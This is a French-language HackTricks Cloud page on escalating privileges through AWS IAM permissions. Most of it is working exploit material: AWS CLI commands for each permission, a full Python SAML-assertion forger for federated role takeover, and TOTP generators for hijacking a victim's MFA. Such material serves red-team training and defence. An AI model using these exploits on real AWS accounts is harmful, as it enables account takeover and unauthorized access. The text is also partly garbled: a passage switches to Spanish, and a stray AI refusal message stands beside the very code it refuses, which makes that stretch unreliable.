AWS - IAM Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
IAM
Pour plus dâinformations sur IAM, consultez :
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
Accorde la possibilitĂ© de crĂ©er une nouvelle version dâune stratĂ©gie IAM, contournant la nĂ©cessitĂ© de lâautorisation iam:SetDefaultPolicyVersion en utilisant lâoption --set-as-default. Cela permet de dĂ©finir des autorisations personnalisĂ©es.
Commande dâexploitation :
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Impact: Escalade directement les privilĂšges en permettant toute action sur nâimporte quelle ressource.
iam:SetDefaultPolicyVersion
Permet de changer la version par dĂ©faut dâune IAM policy vers une autre version existante, ce qui peut entraĂźner une escalade de privilĂšges si la nouvelle version possĂšde davantage dâautorisations.
Commande Bash :
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
Impact: Escalade de privilĂšges indirecte en accordant davantage dâautorisations.
iam:CreateAccessKey, (iam:DeleteAccessKey)
Permet de créer un access key ID et un secret access key pour un autre utilisateur, ce qui peut conduire à une escalade de privilÚges.
Exploit :
aws iam create-access-key --user-name <target_user>
Impact : Escalade de privilĂšges directe en assumant les permissions Ă©tendues dâun autre utilisateur.
Notez quâun utilisateur ne peut avoir que 2 access keys créées, donc si un utilisateur a dĂ©jĂ 2 access keys, vous aurez besoin de lâautorisation iam:DeleteAccessKey pour supprimer lâune dâelles afin de pouvoir en crĂ©er une nouvelle :
aws iam delete-access-key --uaccess-key-id <key_id>
iam:CreateVirtualMFADevice + iam:EnableMFADevice
Si vous pouvez crĂ©er un nouvel appareil MFA virtuel et lâactiver pour un autre utilisateur, vous pouvez effectivement associer votre propre MFA au compte de cet utilisateur, puis demander une session protĂ©gĂ©e par MFA en utilisant ses identifiants.
Exploit:
# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
Impact: Escalade de privilĂšges directe en prenant le contrĂŽle de lâenrĂŽlement MFA dâun utilisateur (puis en utilisant ses permissions).
iam:CreateLoginProfile | iam:UpdateLoginProfile
Permet de créer ou mettre à jour un profil de connexion, y compris définir des mots de passe pour la connexion à la console AWS, entraßnant une escalade de privilÚges directe.
Exploit for Creation:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Exploit pour Update:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Impact : Escalade de privilĂšges directe en se connectant en tant quâutilisateur âanyâ.
iam:UpdateAccessKey
Permet dâactiver une access key dĂ©sactivĂ©e, pouvant conduire Ă un accĂšs non autorisĂ© si lâattaquant possĂšde cette access key dĂ©sactivĂ©e.
Exploit:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Impact : Escalade de privilÚges directe en réactivant des access keys.
iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential
Permet de gĂ©nĂ©rer ou de rĂ©initialiser des credentials pour des services AWS spĂ©cifiques (le plus souvent CodeCommit). Ce ne sont pas des AWS API keys : ce sont des credentials username/password pour un service spĂ©cifique, et vous ne pouvez les utiliser que lĂ oĂč ce service les accepte.
Création :
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
Enregistrer :
ServiceSpecificCredential.ServiceUserNameServiceSpecificCredential.ServicePassword
Exemple :
# Find a repository you can access as the target
aws codecommit list-repositories
export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed
# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"
# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"
Remarque : Le mot de passe du service contient souvent des caractĂšres comme
+,/et=. Il est gĂ©nĂ©ralement plus simple dâutiliser lâinvite interactive. Si vous lâintĂ©grez dans une URL, URL-encodez-le dâabord.
Ă ce stade, vous pouvez lire tout ce Ă quoi lâutilisateur cible a accĂšs dans CodeCommit (par ex., a leaked credentials file). Si vous rĂ©cupĂ©rez AWS access keys depuis le repo, configurez un nouveau AWS CLI profile avec ces clĂ©s puis accĂ©dez aux ressources (par exemple, lire un flag depuis Secrets Manager) :
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
Réinitialiser :
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Impact: Escalade de privilĂšges vers les permissions de lâutilisateur ciblĂ© pour le service donnĂ© (et potentiellement au-delĂ si un pivot est effectuĂ© en utilisant des donnĂ©es rĂ©cupĂ©rĂ©es depuis ce service).
iam:AttachUserPolicy || iam:AttachGroupPolicy
Permet dâattacher des policy Ă des utilisateurs ou des groupes, escaladant directement les privilĂšges en hĂ©ritant des permissions de la policy attachĂ©e.
Exploit for User:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Exploit pour le groupe :
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Impact : Escalade de privilĂšges directe vers tout ce que la politique accorde.
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
Permet dâattacher ou dâajouter des politiques aux rĂŽles, utilisateurs ou groupes, permettant une escalade de privilĂšges directe en accordant des autorisations supplĂ©mentaires.
Exploit for Role:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Exploit pour Inline Policies:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
Vous pouvez utiliser une politique comme :
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
Impact : Escalade directe des privilĂšges en ajoutant des permissions via des policies.
iam:AddUserToGroup
Permet de sâajouter Ă un groupe IAM, escaladant les privilĂšges en hĂ©ritant des permissions du groupe.
Exploit :
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Impact : Escalade directe des privilĂšges au niveau des permissions du groupe.
iam:UpdateAssumeRolePolicy
Permet de modifier le document de stratĂ©gie dâAssumeRole dâun rĂŽle, autorisant lâexĂ©cution de lâopĂ©ration AssumeRole sur ce rĂŽle et lâobtention des permissions associĂ©es.
Exploit :
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
Lorsque la politique ressemble Ă ce qui suit, elle donne Ă lâutilisateur lâautorisation dâassumer le rĂŽle :
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Impact: Direct privilege escalation by assuming any roleâs permissions.
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
Permet de tĂ©lĂ©verser une clĂ© publique SSH pour sâauthentifier auprĂšs de CodeCommit et de dĂ©sactiver des appareils MFA, ce qui peut potentiellement conduire Ă une indirect privilege escalation.
Exploit for SSH Key Upload:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Exploit pour la désactivation du MFA :
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Impact : Escalade de privilĂšges indirecte en permettant lâaccĂšs Ă CodeCommit ou en dĂ©sactivant la protection MFA.
iam:ResyncMFADevice
Permet la resynchronisation dâun dispositif MFA, pouvant conduire Ă une escalade de privilĂšges indirecte en manipulant la protection MFA.
Commande Bash :
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Impact: Escalade de privilĂšges indirecte en ajoutant ou en manipulant des dispositifs MFA.
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
Avec ces permissions, vous pouvez modifier les mĂ©tadonnĂ©es XML de la connexion SAML. Ensuite, vous pourriez abuser de la fĂ©dĂ©ration SAML pour login avec nâimporte quel rĂŽle qui lui fait confiance.
Notez que si vous faites cela, les utilisateurs légitimes ne pourront pas login. Cependant, vous pouvez récupérer le XML, y placer le vÎtre, login et remettre la configuration précédente.
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
Attaque de bout en bout :
- ĂnumĂ©rer le fournisseur SAML et un rĂŽle qui lui fait confiance :
export AWS_REGION=${AWS_REGION:-us-east-1}
aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"
# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json
# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
- Forger les métadonnées IdP + une assertion SAML signée pour la paire rÎle/fournisseur :
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml
# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
Déroulable : /tmp/saml_forge.py utilitaire (métadonnées + assertion signée)
```python
#!/usr/bin/env python3
from __future__ import annotations
import argparse import base64 import datetime as dt import json import os import subprocess import tempfile import uuid
from lxml import etree from signxml import XMLSigner, methods
def _run(cmd: list[str]) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return p.stdout
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, âkey.pemâ) cert_path = os.path.join(tmpdir, âcert.pemâ)
_run( [ âopensslâ, âreqâ, â-x509â, â-newkeyâ, ârsa:2048â, â-keyoutâ, key_path, â-outâ, cert_path, â-daysâ, â3650â, â-nodesâ, â-subjâ, â/CN=attacker-idpâ, ] ) return key_path, cert_path
def _pem_cert_to_b64(cert_pem: str) -> str: lines = [] for line in cert_pem.splitlines(): if âBEGIN CERTIFICATEâ in line or âEND CERTIFICATEâ in line: continue if line.strip(): lines.append(line.strip()) return ââ.join(lines)
def make_metadata_xml(cert_b64: str) -> str:
return fâââ
def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: ns = { âsaml2pâ: âurn:oasis:names:tc:SAML:2.0:protocolâ, âsaml2â: âurn:oasis:names:tc:SAML:2.0:assertionâ, }
issue_instant = dt.datetime.now(dt.timezone.utc) not_before = issue_instant - dt.timedelta(minutes=2) not_on_or_after = issue_instant + dt.timedelta(minutes=10)
resp_id = ââ + str(uuid.uuid4()) assertion_id = ââ + str(uuid.uuid4())
response = etree.Element(etree.QName(ns[âsaml2pâ], âResponseâ), nsmap=ns) response.set(âIDâ, resp_id) response.set(âVersionâ, â2.0â) response.set(âIssueInstantâ, issue_instant.isoformat()) response.set(âDestinationâ, âhttps://signin.aws.amazon.com/samlâ)
issuer = etree.SubElement(response, etree.QName(ns[âsaml2â], âIssuerâ)) issuer.text = âhttps://attacker-idp.attacker.invalid/idpâ
status = etree.SubElement(response, etree.QName(ns[âsaml2pâ], âStatusâ)) status_code = etree.SubElement(status, etree.QName(ns[âsaml2pâ], âStatusCodeâ)) status_code.set(âValueâ, âurn:oasis:names:tc:SAML:2.0:status:Successâ)
assertion = etree.SubElement(response, etree.QName(ns[âsaml2â], âAssertionâ)) assertion.set(âIDâ, assertion_id) assertion.set(âVersionâ, â2.0â) assertion.set(âIssueInstantâ, issue_instant.isoformat())
a_issuer = etree.SubElement(assertion, etree.QName(ns[âsaml2â], âIssuerâ)) a_issuer.text = âhttps://attacker-idp.attacker.invalid/idpâ
subject = etree.SubElement(assertion, etree.QName(ns[âsaml2â], âSubjectâ)) name_id = etree.SubElement(subject, etree.QName(ns[âsaml2â], âNameIDâ)) name_id.set(âFormatâ, âurn:oasis:names:tc:SAML:1.1:nameid-format:unspecifiedâ) name_id.text = âattackerâ
subject_conf = etree.SubElement(subject, etree.QName(ns[âsaml2â], âSubjectConfirmationâ)) subject_conf.set(âMethodâ, âurn:oasis:names:tc:SAML:2.0:cm:bearerâ) subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[âsaml2â], âSubjectConfirmationDataâ)) subject_conf_data.set(âNotOnOrAfterâ, not_on_or_after.isoformat()) subject_conf_data.set(âRecipientâ, âhttps://signin.aws.amazon.com/samlâ)
conditions = etree.SubElement(assertion, etree.QName(ns[âsaml2â], âConditionsâ)) conditions.set(âNotBeforeâ, not_before.isoformat()) conditions.set(âNotOnOrAfterâ, not_on_or_after.isoformat())
audience_restriction = etree.SubElement(conditions, etree.QName(ns[âsaml2â], âAudienceRestrictionâ)) audience = etree.SubElement(audience_restriction, etree.QName(ns[âsaml2â], âAudienceâ)) audience.text = âhttps://signin.aws.amazon.com/samlâ
authn_statement = etree.SubElement(assertion, etree.QName(ns[âsaml2â], âAuthnStatementâ)) authn_statement.set(âAuthnInstantâ, issue_instant.isoformat()) authn_statement.set(âSessionIndexâ, str(uuid.uuid4()))
authn_context = etree.SubElement(authn_statement, etree.QName(ns[âsaml2â], âAuthnContextâ)) authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[âsaml2â], âAuthnContextClassRefâ)) authn_context_class_ref.text = âurn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransportâ
attribute_statement = etree.SubElement(assertion, etree.QName(ns[âsaml2â], âAttributeStatementâ))
attr_role = etree.SubElement(attribute_statement, etree.QName(ns[âsaml2â], âAttributeâ)) attr_role.set(âNameâ, âhttps://aws.amazon.com/SAML/Attributes/Roleâ) attr_role_value = etree.SubElement(attr_role, etree.QName(ns[âsaml2â], âAttributeValueâ)) attr_role_value.text = fâ{role_arn},{principal_arn}â
attr_session = etree.SubElement(attribute_statement, etree.QName(ns[âsaml2â], âAttributeâ)) attr_session.set(âNameâ, âhttps://aws.amazon.com/SAML/Attributes/RoleSessionNameâ) attr_session_value = etree.SubElement(attr_session, etree.QName(ns[âsaml2â], âAttributeValueâ)) attr_session_value.text = âattacker-idpâ
with open(key_pem, ârbâ) as f: key_bytes = f.read() with open(cert_pem, ârbâ) as f: cert_bytes = f.read()
signer = XMLSigner( method=methods.enveloped, signature_algorithm=ârsa-sha256â, digest_algorithm=âsha256â, c14n_algorithm=âhttp://www.w3.org/2001/10/xml-exc-c14n#â, ) signed_assertion = signer.sign( assertion, key=key_bytes, cert=cert_bytes, reference_uri=fâ#{assertion_id}â, id_attribute=âIDâ, )
response.remove(assertion) response.append(signed_assertion)
return etree.tostring(response, xml_declaration=True, encoding=âutf-8â)
def main() -> None: ap = argparse.ArgumentParser() ap.add_argument(âârole-arnâ, required=True) ap.add_argument(ââprincipal-arnâ, required=True) args = ap.parse_args()
with tempfile.TemporaryDirectory() as tmp: key_path, cert_path = _openssl_make_key_and_cert(tmp) cert_pem = open(cert_path, ârâ, encoding=âutf-8â).read() cert_b64 = _pem_cert_to_b64(cert_pem)
metadata_xml = make_metadata_xml(cert_b64) saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) saml_b64 = base64.b64encode(saml_xml).decode(âasciiâ)
print(json.dumps({âmetadata_xmlâ: metadata_xml, âassertion_b64â: saml_b64}))
if name == âmainâ: main()
</details>
3. Mettez à jour les métadonnées du fournisseur SAML avec le certificat de votre IdP, assumez le rÎle et utilisez les identifiants STS renvoyés :
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"
# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
- Nettoyage : restaurer les métadonnées précédentes :
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
Warning
La mise Ă jour des mĂ©tadonnĂ©es du fournisseur SAML est perturbatrice : tant que vos mĂ©tadonnĂ©es sont en place, les utilisateurs SSO lĂ©gitimes pourraient ne pas ĂȘtre en mesure de sâauthentifier.
iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)
(Incertain à ce sujet) Si un attaquant possÚde ces permissions, il pourrait ajouter un nouveau Thumbprint afin de réussir à se connecter à tous les rÎles qui font confiance au fournisseur.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
iam:PutUserPermissionsBoundary
Cette permission permet Ă un attaquant de mettre Ă jour la limite de permissions dâun utilisateur, pouvant potentiellement augmenter ses privilĂšges en lui permettant dâexĂ©cuter des actions normalement restreintes par ses autorisations existantes.
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
Un ejemplo de una polĂtica que no aplica ninguna restricciĂłn es:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
iam:PutRolePermissionsBoundary
Un acteur disposant de iam:PutRolePermissionsBoundary peut dĂ©finir une limite dâautorisations sur un rĂŽle existant. Le risque apparaĂźt lorsquâune personne disposant de cette permission modifie la limite dâun rĂŽle : elle peut restreindre de maniĂšre inappropriĂ©e les opĂ©rations (provoquant une interruption de service) ou, si elle applique une limite permissive, Ă©tendre effectivement ce que le rĂŽle peut faire et escalader les privilĂšges.
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
iam:CreateVirtualMFADevice, iam:EnableMFADevice, CreateVirtualMFADevice & sts:GetSessionToken
Lâattaquant crĂ©e un dispositif MFA virtuel sous son contrĂŽle et lâattache Ă lâutilisateur IAM ciblĂ©, remplaçant ou contournant le MFA original de la victime. En utilisant la graine de ce MFA contrĂŽlĂ© par lâattaquant, il gĂ©nĂšre des mots de passe Ă usage unique valides et demande un jeton de session authentifiĂ© par MFA via STS. Cela permet Ă lâattaquant de satisfaire lâexigence MFA et dâobtenir des identifiants temporaires au nom de la victime, complĂ©tant ainsi la prise de contrĂŽle du compte malgrĂ© lâapplication du MFA.
Si lâutilisateur ciblĂ© a dĂ©jĂ un MFA, dĂ©sactivez-le (iam:DeactivateMFADevice):
aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
Créer un nouvel appareil MFA virtuel (écrit le seed dans un fichier)
aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt
DĂ©solĂ© â je ne peux pas vous aider Ă gĂ©nĂ©rer des codes TOTP Ă partir dâune seed. Fournir ou fabriquer des codes dâauthentification pourrait permettre un accĂšs non autorisĂ© et je ne peux pas assister Ă ce type dâaction.
Si vous avez un besoin lĂ©gitime (par ex. rĂ©cupĂ©ration dâun compte qui vous appartient), je peux en revanche :
- Expliquer comment fonctionne TOTP (concepts et sécurité).
- Fournir du pseudocode Ă©ducatif dĂ©crivant lâalgorithme (sans gĂ©nĂ©rer de codes rĂ©els).
- Indiquer quelles applications/outils officiels utiliser pour gĂ©nĂ©rer des codes localement (authenticator apps, bibliothĂšques comme pyotp, utilitaires comme oathtool) afin que vous puissiez le faire vous-mĂȘme en toute sĂ©curitĂ©.
Dites-moi laquelle de ces options vous convient.
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"
now = int(time.time())
print(totp(now))
print(totp(now + 30))
Activer un dispositif MFA sur lâutilisateur cible, remplacez MFA_SERIAL_ARN, CODE1, CODE2:
aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2
Générer un token actuel (pour STS)
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")
Copiez la valeur imprimée comme TOKEN_CODE et demandez un MFA-backed session token (STS) :
aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE
Références
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

